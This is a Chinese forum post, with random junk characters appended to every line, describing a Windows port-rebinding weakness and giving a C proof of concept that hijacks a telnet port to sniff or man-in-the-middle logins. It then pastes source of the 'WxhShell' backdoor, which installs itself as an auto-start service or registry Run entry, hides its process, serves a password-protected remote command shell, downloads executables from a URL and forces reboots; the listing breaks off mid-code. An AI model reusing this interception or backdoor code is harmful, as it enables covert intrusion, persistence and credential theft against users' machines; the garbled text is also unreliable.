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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zo`Ku+RL2'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'ap<]mf2  
Fr/3Qp@S  
  saddr.sin_family = AF_INET; ? ->:,I=<~  
Vp{e1xpY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  Khd"  
"J:~Aa%_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xE%1C6~C<  
$%~-p[)<(P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0\3mS{s  
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  这意味着什么?意味着可以进行如下的攻击: Z^?1MJ:`  
U(#)[S,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wc z|Zy  
pm$ZKM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |tL57Wu93  
tj:3R$a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ANB@cK_  
=*EIe z*.x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  242dT/j  
*xm(K +j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *=UxX ] 0y  
c"qaULY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TS0x8,'$q  
0].x8{~o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0uX"KL]Elf  
sjh>i>t  
  #include P(OgT/7A  
  #include a(}dF?M=  
  #include vd>K=! J  
  #include    |GPR3%9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   27mGX\T  
  int main() O:02LHE   
  { |<nS<x  
  WORD wVersionRequested; ;{1J{-EA  
  DWORD ret; jtqH3xfy  
  WSADATA wsaData; `m2e *  
  BOOL val; 52+;j[ ]/O  
  SOCKADDR_IN saddr; (eX9O4  
  SOCKADDR_IN scaddr; v=!Ap ; 2L  
  int err; WT(inf[  
  SOCKET s; &0B< iO<f  
  SOCKET sc; d&S4`\g?8  
  int caddsize; 5Z2E))UU  
  HANDLE mt; c2M-/ x-:  
  DWORD tid;   Ki#({~  
  wVersionRequested = MAKEWORD( 2, 2 ); Hg)5c!F7  
  err = WSAStartup( wVersionRequested, &wsaData ); l#7].-/  
  if ( err != 0 ) { G dZ_  
  printf("error!WSAStartup failed!\n"); z@!zQ Vp  
  return -1; m)G=4kK52-  
  } QmQsNcF~z  
  saddr.sin_family = AF_INET; f8]Qn8  
   ]y&w)-0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aoNTRJ c$  
I5RV:e5b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9o-fI@9  
  saddr.sin_port = htons(23); !N5+.E0j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >r Nff!Ow  
  { Y|ONCc  
  printf("error!socket failed!\n"); diXb8L7B;  
  return -1; Uh.XL=wY  
  } +<p?i]3CHe  
  val = TRUE; ejq2]^O4c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J?/.|Y]e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O6rrv,+_L  
  { u<8 f ;C_  
  printf("error!setsockopt failed!\n"); {"<6'2T3  
  return -1; ml7nt 0{  
  } B35zmFX|}N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9G8n'jWyY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _4E . P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W}+f}/&l  
=GO/r; 4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )c9]}:W&  
  { k< b`v&G  
  ret=GetLastError(); u15-|i{y7  
  printf("error!bind failed!\n"); F 8*e  
  return -1; Eyw)f>  
  } **\BP,]}  
  listen(s,2); i!zh9,i>M  
  while(1) At5:X*vD  
  { z4l O  
  caddsize = sizeof(scaddr); T';<;6J**  
  //接受连接请求 %(4G[R[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~$g$31/  
  if(sc!=INVALID_SOCKET) V\axOz!  
  { .E !p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  ESOuDD2<  
  if(mt==NULL) <0[{Tn  
  { <:#O*Y{  
  printf("Thread Creat Failed!\n"); n^QOGT.s6`  
  break; bDdJh}Vz  
  } @\gTi;u/x  
  } /EY ^ui  
  CloseHandle(mt); f'/@h Na3  
  } s>sIji  
  closesocket(s); 2N]u!S;d  
  WSACleanup(); UN`F|~@v  
  return 0; ejj|l   
  }   >M.?qs4  
  DWORD WINAPI ClientThread(LPVOID lpParam) "cerg?ix  
  { j7;v'eA`;7  
  SOCKET ss = (SOCKET)lpParam; Ks&~VU  
  SOCKET sc; 'BT}'qN  
  unsigned char buf[4096]; T-7'#uB.m  
  SOCKADDR_IN saddr; 3Rid 1;L0U  
  long num; y<YVb@O.  
  DWORD val; AYHfe#!  
  DWORD ret; s PNX)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DbSl}N;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4-q7o]%5<  
  saddr.sin_family = AF_INET; Uo{h. .7?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V43pZ]YZ>  
  saddr.sin_port = htons(23); H) g:<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #8;|_RU  
  { {8M=[4_`l  
  printf("error!socket failed!\n"); s{q)m@  
  return -1; { .KCK_ d  
  } *[*E|by  
  val = 100; p},6W,f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7> -y,?&  
  { m:TS .@p  
  ret = GetLastError(); bhXH<=  
  return -1; U*8;ZXi  
  } ? WWnt^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kq/W-VyGh  
  { 'e-Nt&;  
  ret = GetLastError(); mwFI89J'  
  return -1; "Kk3#  
  } 8F0+\40  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,hK0F3?H>  
  { lo:]r.lX{  
  printf("error!socket connect failed!\n"); :oF\?e  
  closesocket(sc); yWIM,2x}  
  closesocket(ss); 8WWRKP1V  
  return -1; g~d}?B\<@  
  } Egt;Bj#%  
  while(1) `gqBJi  
  { GY4 :9Lub7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p7(xk6W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ty%4#9``0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (]0$^!YK  
  num = recv(ss,buf,4096,0); R!xs;|]  
  if(num>0) )!MeSWGq  
  send(sc,buf,num,0); '<f4POy!  
  else if(num==0) HZ=Dd4!  
  break; 8?W!U*0aS  
  num = recv(sc,buf,4096,0); ]}9cOb%I  
  if(num>0) YZ\$b=-  
  send(ss,buf,num,0); '{kNXCnZ  
  else if(num==0) ]+[ NX)=  
  break; JnCY O^Qj  
  } .LafP}%  
  closesocket(ss); ?PWD[mQE\  
  closesocket(sc); UuxWP\~2  
  return 0 ; TQK>w'L  
  } 'DF3|A],  
!-r@_tn|  
s)yEVh  
========================================================== +3vK=d_Va  
?[Q;275  
下边附上一个代码,,WXhSHELL EF0{o_  
n6WSTh  
========================================================== 4UoUuKzt  
pRXA!QfO  
#include "stdafx.h" j._9;HifZ  
ltt%X].[  
#include <stdio.h> V~5vVY_HG&  
#include <string.h> ))!Z2PfD  
#include <windows.h> /woa[7Xe  
#include <winsock2.h> +IVVsVp  
#include <winsvc.h> p<'mc|hGq  
#include <urlmon.h> g=pz&cz;>\  
-]5dD VSO  
#pragma comment (lib, "Ws2_32.lib") 8x'rNb  
#pragma comment (lib, "urlmon.lib") D>c%5h  
=(*Eh=Pw  
#define MAX_USER   100 // 最大客户端连接数 _h_;nS.Y  
#define BUF_SOCK   200 // sock buffer 2Iz@lrO6  
#define KEY_BUFF   255 // 输入 buffer y VQ qz  
`a:@[0r0U  
#define REBOOT     0   // 重启 2U>1-p&dn  
#define SHUTDOWN   1   // 关机 iUA2/ A  
-9-%_=6  
#define DEF_PORT   5000 // 监听端口 ZcX%:ebKS  
$$ {ebt  
#define REG_LEN     16   // 注册表键长度 c@ En4[a'  
#define SVC_LEN     80   // NT服务名长度 * ok89 ad  
] V]~I.  
// 从dll定义API JU<<,0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ix^:qw;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fJOU1%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u 8U>R=M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P%pB]d.qpi  
gU>Y  
// wxhshell配置信息 a%ec: %  
struct WSCFG { i1vBg}WHN  
  int ws_port;         // 监听端口 n5UcivyX  
  char ws_passstr[REG_LEN]; // 口令 N&S :=x:$S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3w {4G<I  
  char ws_regname[REG_LEN]; // 注册表键名 3-32q)8  
  char ws_svcname[REG_LEN]; // 服务名 &4"(bZ:LO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S~YrXQ{_>-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nP'ab_>b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (5-"5<-@R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `;*=2M<c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XnWr~h{b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]9zc[_ !  
a>sUq["  
}; FlVGi3  
3X0^xUA6  
// default Wxhshell configuration * _C6. %{  
struct WSCFG wscfg={DEF_PORT, ~u%9@}Oo>  
    "xuhuanlingzhe", $q.8ve0&^  
    1, 8XX ,(k_b  
    "Wxhshell", K"Nq_Ddwd  
    "Wxhshell", :Iwe>;}  
            "WxhShell Service", aU4'_%Y@  
    "Wrsky Windows CmdShell Service", nImRU.;P  
    "Please Input Your Password: ", PKdM-R'Z  
  1, o [ar.+[  
  "http://www.wrsky.com/wxhshell.exe", \C}tK,79  
  "Wxhshell.exe" :+]6SC0ql  
    }; PhKJ#D Rbr  
tDEpR  
// 消息定义模块 %~Nf,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IIop"6Ko  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o,bV.O.W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7_#v_ A^  
char *msg_ws_ext="\n\rExit."; J;m[1Mae&  
char *msg_ws_end="\n\rQuit."; 6xnJyEQUM  
char *msg_ws_boot="\n\rReboot..."; M P0ww$(  
char *msg_ws_poff="\n\rShutdown..."; K+T`'J4  
char *msg_ws_down="\n\rSave to "; ixiRFBUcF~  
2)[81a  
char *msg_ws_err="\n\rErr!"; w'M0Rd]  
char *msg_ws_ok="\n\rOK!"; aH"tSgi  
0%F C;v0  
char ExeFile[MAX_PATH]; ,dBtj8=  
int nUser = 0; s.zH.q,  
HANDLE handles[MAX_USER]; F\-qXSA  
int OsIsNt; ?3KI}'}EM  
]o,)#/' $  
SERVICE_STATUS       serviceStatus; '-w G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q#sMew\{  
UfcM2OmbK  
// 函数声明 * +A!12s@  
int Install(void); &??(EA3  
int Uninstall(void); 5Odi\SJ&  
int DownloadFile(char *sURL, SOCKET wsh); ODv)-J  
int Boot(int flag); 1Lj\"+.  
void HideProc(void); wZfR>|f  
int GetOsVer(void); &lI.N~Ao  
int Wxhshell(SOCKET wsl); n )`*{uv$  
void TalkWithClient(void *cs); +/Y )s5@<  
int CmdShell(SOCKET sock); zb9d{e   
int StartFromService(void); h3@mN\=h'  
int StartWxhshell(LPSTR lpCmdLine); n=rPFp RLF  
T^A:pL1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /"iYEr%_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )E6m}?H5  
MlRgdVX  
// 数据结构和表定义 Mqw&%dz'_  
SERVICE_TABLE_ENTRY DispatchTable[] = X$JKEW;0BP  
{ 2vj)3%:7#E  
{wscfg.ws_svcname, NTServiceMain}, d9Rj-e1x  
{NULL, NULL} %K ]u"  
}; <YJU?G:@  
IHxX:a/iv  
// 自我安装 5r zB "L  
int Install(void) X*S|aNaLWW  
{ ",Q\A I  
  char svExeFile[MAX_PATH]; !EpP-bq'*  
  HKEY key; >2VB.f  
  strcpy(svExeFile,ExeFile); hCr7%`  
}s{zy:1O  
// 如果是win9x系统,修改注册表设为自启动 >-)i_C2  
if(!OsIsNt) { z)|56 F7'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |:H[Y"$1;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T w"^I*B  
  RegCloseKey(key); i"w$D{N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a |z{B b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $: Qi9N   
  RegCloseKey(key);  KsUsj3J  
  return 0; %j^=  
    } 1Ll@ ocE  
  } 9^ mrsj  
} f0wQn09  
else { v`Sllv5bV  
rxa8X wo8  
// 如果是NT以上系统,安装为系统服务 EWqKd/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hrcR"OZ~X  
if (schSCManager!=0) )QI]b4[  
{ .4KXe"~E  
  SC_HANDLE schService = CreateService ~=0zZTG  
  ( 4|++0=#D$  
  schSCManager, [%QJ6  
  wscfg.ws_svcname, ;! CQFJ=  
  wscfg.ws_svcdisp, kk!}mbA_}  
  SERVICE_ALL_ACCESS, <'GI<Hc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N@j|I* y|  
  SERVICE_AUTO_START, G e~&Ble  
  SERVICE_ERROR_NORMAL, 1L &_3}  
  svExeFile, zD)2af  
  NULL, xhqIE3gd  
  NULL, M}%0=VCY7  
  NULL, lZ_i~;u4@v  
  NULL, 37lmB '~  
  NULL 9.%{M#j  
  ); oz[E>%  
  if (schService!=0) Keof{>V=CA  
  { v5<Ext rV  
  CloseServiceHandle(schService); vhhsOga  
  CloseServiceHandle(schSCManager); uOW9FAW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .}CP Z3y  
  strcat(svExeFile,wscfg.ws_svcname); ;'vY^I8-L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1Z`<HW"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~Dkje  
  RegCloseKey(key); \" .3x PkE  
  return 0; a_x|PbD  
    } RqcX_x(p  
  } 7 v`Y*D  
  CloseServiceHandle(schSCManager); )cOm\^,  
} Gm>8= =c  
} =VY[m-q5  
@~a52'\  
return 1; ?<F\S2W  
} g<.VW 0  
wF38c]r`\<  
// 自我卸载 &:{| nDT_2  
int Uninstall(void) M%B]f2C  
{ _Thc\{aV#  
  HKEY key; 6o,, w^  
JLg_oK6  
if(!OsIsNt) { C{Npipd}v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tk, H vE  
  RegDeleteValue(key,wscfg.ws_regname); 0Y"==g+ >f  
  RegCloseKey(key); vEfX'gyk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RHB>svT^K>  
  RegDeleteValue(key,wscfg.ws_regname); cQ+V 4cW Z  
  RegCloseKey(key); `9 $?g|rB  
  return 0; K<|eZhp~  
  } n|^-qy'w  
} YR[Ii?  
} ,L_p"A  
else { q+LjWZ+O  
P7@q vg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +F67g00T|  
if (schSCManager!=0) OjZ+gl}  
{ v3aiX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \6@}HFH  
  if (schService!=0) <cWo]T`X!  
  {  '5[L []A  
  if(DeleteService(schService)!=0) { G m.v-T$  
  CloseServiceHandle(schService); l}<s~ip  
  CloseServiceHandle(schSCManager); 9prG@  
  return 0; F /t;y\)  
  } o*dhks[  
  CloseServiceHandle(schService); |/r@z[t  
  } ];Z_S`JR  
  CloseServiceHandle(schSCManager); y)(@  
} /nC"'d(#  
} I98wMV8  
c?z% z&  
return 1; JDMaLo  
} St&XG>nWS  
][0HJG{{g  
// 从指定url下载文件 [!aHP ?-  
int DownloadFile(char *sURL, SOCKET wsh) e=_*\`/CN  
{ z2,rnm)Q  
  HRESULT hr; 0e/~H^,SQ  
char seps[]= "/"; uHwuw_eK`  
char *token; My5X%)T>P  
char *file; Wje7fv  
char myURL[MAX_PATH]; l sUQ7%f  
char myFILE[MAX_PATH]; 1bvL  
9`vse>,-hg  
strcpy(myURL,sURL); 2@A7i<p  
  token=strtok(myURL,seps); ;N4mR6  
  while(token!=NULL) wV(_=LF  
  { n}._Nb 5  
    file=token; (r7~ccy4  
  token=strtok(NULL,seps); cLB"<mG  
  } $x`U)pv  
XvdK;  
GetCurrentDirectory(MAX_PATH,myFILE); g=Qj9Z  
strcat(myFILE, "\\"); '9RHwKu&s  
strcat(myFILE, file); K,^b=_]  
  send(wsh,myFILE,strlen(myFILE),0); I@x*>  
send(wsh,"...",3,0); xi|iV1A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E%$FX' 8&  
  if(hr==S_OK) LTJ|EXYA  
return 0; l?#([(WM  
else _s=[z$EN&  
return 1; iF`E> %#  
'RG`DzuF  
} 3 #jPQ[+  
"h)+fAT|,  
// 系统电源模块 JbG+ysn  
int Boot(int flag) [%bshaY:  
{ gE8>5_R|  
  HANDLE hToken; vO"AJ`_  
  TOKEN_PRIVILEGES tkp; ]bX.w/=  
J)o~FC]b*  
  if(OsIsNt) { f)gA.Rz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sy]1Ba%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KXR  
    tkp.PrivilegeCount = 1; hS<x+|'l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9-L.?LG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h{>8W0W*  
if(flag==REBOOT) { !m^WtF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6Lz&"C,`  
  return 0; Zb}=?fcL;@  
} ~omX(kPzK  
else { ^yBx.GrQc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D4 e)v%  
  return 0; LeO5BmwHR  
} }.e*=/"MB  
  } Aja'`Mu  
  else { G =lC[i  
if(flag==REBOOT) { o>j3<#?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I,q3J1K  
  return 0; ,wnF]K 2D0  
} >5XE*9  
else { Xf$,ra"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kbOo;<X9A  
  return 0; VE{t]>*-u  
} \t )Zk2  
} c)lMi}/  
CJ%7M`zy  
return 1; Tw|=;m  
} KS%xo6k.  
Is%-r.i  
// win9x进程隐藏模块 u,/PJg-(!  
void HideProc(void) Q%KS$nP9  
{ N )&3(A@  
_L&C4 <e'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q2iu}~  
  if ( hKernel != NULL ) Rrk3EL  
  { uv._N6mj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ][#]4 _  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dZ;cs c@xv  
    FreeLibrary(hKernel); 5a4;d+  
  } et)A$'Q  
C;STJrew  
return; `) K1[&  
} LVO`+:  
-w^E~J0*L  
// 获取操作系统版本 wYNh0QlBH  
int GetOsVer(void) ].` i`.T  
{ N "FQMxqm  
  OSVERSIONINFO winfo; &K|CH? D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qs</.PO  
  GetVersionEx(&winfo); opdi5 e)jK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V"\t  
  return 1; +FyG{1?<  
  else kM@8RAxA  
  return 0; 8'/vW~f  
} K]Ed-Tz8QZ  
YHg4WW$  
// 客户端句柄模块 C#vU'RNpl  
int Wxhshell(SOCKET wsl) 3kQky  
{ q[**i[+%  
  SOCKET wsh; XCQ =`3f  
  struct sockaddr_in client; LLV:E{`p  
  DWORD myID; <C]s\ "o-`  
:8\z 0  
  while(nUser<MAX_USER) 6fQQKM@a|  
{ vvdC.4O  
  int nSize=sizeof(client); W aks*^|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :'a |cjq  
  if(wsh==INVALID_SOCKET) return 1; z l@ <X0q  
{n2jAR9nq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X_O(j!h  
if(handles[nUser]==0) 1j3mTP  
  closesocket(wsh); v(]\o;/O  
else '}]w=2Lf  
  nUser++; mI?AI7DqK  
  } YzsHec  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); So,EPB+  
OG/R6k.  
  return 0; $)z(4Ev  
} K^?/  
W 4~a`D7  
// 关闭 socket ~ b\bpu  
void CloseIt(SOCKET wsh) ,Q2`N{f  
{ .kGg }  
closesocket(wsh); #!C/~"Y*`|  
nUser--; M|7xI  
ExitThread(0); FL"7u2rh,  
} - =QA{n  
oB#KR1 >%7  
// 客户端请求句柄 ^Jsx^?  
void TalkWithClient(void *cs) )t&j0`Yq  
{ $oe:km1-D  
R\ <HR9r  
  SOCKET wsh=(SOCKET)cs; ~ex1,J*}t  
  char pwd[SVC_LEN]; E0Ig/ j  
  char cmd[KEY_BUFF]; _}{C?611c  
char chr[1]; .$L'Jt2X  
int i,j; p.gi8%f`  
i|y8n7c  
  while (nUser < MAX_USER) { rp+&ax}Wh  
34&n { xv  
if(wscfg.ws_passstr) { $yLsuqB}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pma'C\b>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DF P0WXbOE  
  //ZeroMemory(pwd,KEY_BUFF); o-yZ$+V  
      i=0; #-Ehg4W  
  while(i<SVC_LEN) { 3g^_Fq'  
(Lp<T!"  
  // 设置超时 ENr\+{{%  
  fd_set FdRead; -Wb/3 X  
  struct timeval TimeOut; i4JqU\((]  
  FD_ZERO(&FdRead); <TC\Nb$~  
  FD_SET(wsh,&FdRead); I Bo)fE\O  
  TimeOut.tv_sec=8; ~\6Kq`Y  
  TimeOut.tv_usec=0; o{37}if  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Myg &H(~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hL+)XJu^J  
)Gh"(]-<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :l'61$=  
  pwd=chr[0]; }L'BzSU@G  
  if(chr[0]==0xd || chr[0]==0xa) { Z9E[RD  
  pwd=0; ~bf-uHx  
  break; 'n6D3Vse  
  } sy0|=E*;8"  
  i++; Fr`"XH  
    } OB.TAoH:  
\U\ W Q  
  // 如果是非法用户,关闭 socket 6f v{?0|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -M/DOTc  
} eR$qw#%c*  
2I3MV:5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]O,;t>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^M0e0  
EuOrwmdj  
while(1) { xRuAt/aC  
iOYC1QFi?  
  ZeroMemory(cmd,KEY_BUFF); mG*[5?=r  
o $7:*jU  
      // 自动支持客户端 telnet标准   ifHQ2Ug 9  
  j=0; #/=s74.b  
  while(j<KEY_BUFF) { S|CN)8Jsi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fzT|{vG8  
  cmd[j]=chr[0]; *I:^g  
  if(chr[0]==0xa || chr[0]==0xd) { BGh1hyJ8d  
  cmd[j]=0; \vjIw{   
  break; 3WHj|ENW  
  } x\z* iv  
  j++; )*}2L_5]  
    } (P%{Tab  
7k.=_Tl  
  // 下载文件 @eU;oRVc{  
  if(strstr(cmd,"http://")) { Oi+9kk e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dUegHBw_`R  
  if(DownloadFile(cmd,wsh)) $@QF<?i~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ue"?n2  
  else V+G.TI P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &66-0d+Sh  
  } !YYI{BJ7:N  
  else { He @d~9M  
#&u9z5ywM  
    switch(cmd[0]) { ~4IkQ|,  
  o/I'Qi$v-  
  // 帮助 2uujA* ^  
  case '?': { [Q9#44@{S;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cak `}J 2  
    break; U.g7'`Z<  
  } _Vul9=  
  // 安装 C^oj/} ^  
  case 'i': { v50w}w'  
    if(Install()) < Ih)h$8`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E]Dcb*t  
    else {"k}C2K'r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *m)+|v}  
    break; L?:.8k`d  
    } Y_'3pX,  
  // 卸载 ,Q:Ylc8  
  case 'r': { PWUS@I  
    if(Uninstall()) zmaf@T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m3[R   
    else ;7=pNK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y<0}z>^  
    break; nsW #  
    } xDJ@MW#  
  // 显示 wxhshell 所在路径 Vcjmj  
  case 'p': { r I)Y W0  
    char svExeFile[MAX_PATH]; .xG3`YH  
    strcpy(svExeFile,"\n\r"); 7-S?\:J  
      strcat(svExeFile,ExeFile); b{4@ ~>i  
        send(wsh,svExeFile,strlen(svExeFile),0); +OEqDXR+_  
    break; nbd-f6F6  
    } w1>uD]  
  // 重启 nD#QC=}  
  case 'b': { W5a7HkM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '$nm~z,V  
    if(Boot(REBOOT)) 5jMI33D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JO3"$s|t  
    else { N(ov.l;  
    closesocket(wsh); [9N>*dKB  
    ExitThread(0); !C]2:+z-MF  
    } !g|)?XWc  
    break; }[2  
    } %# M=qP  
  // 关机 f)'m pp^  
  case 'd': { Uphme8SX  
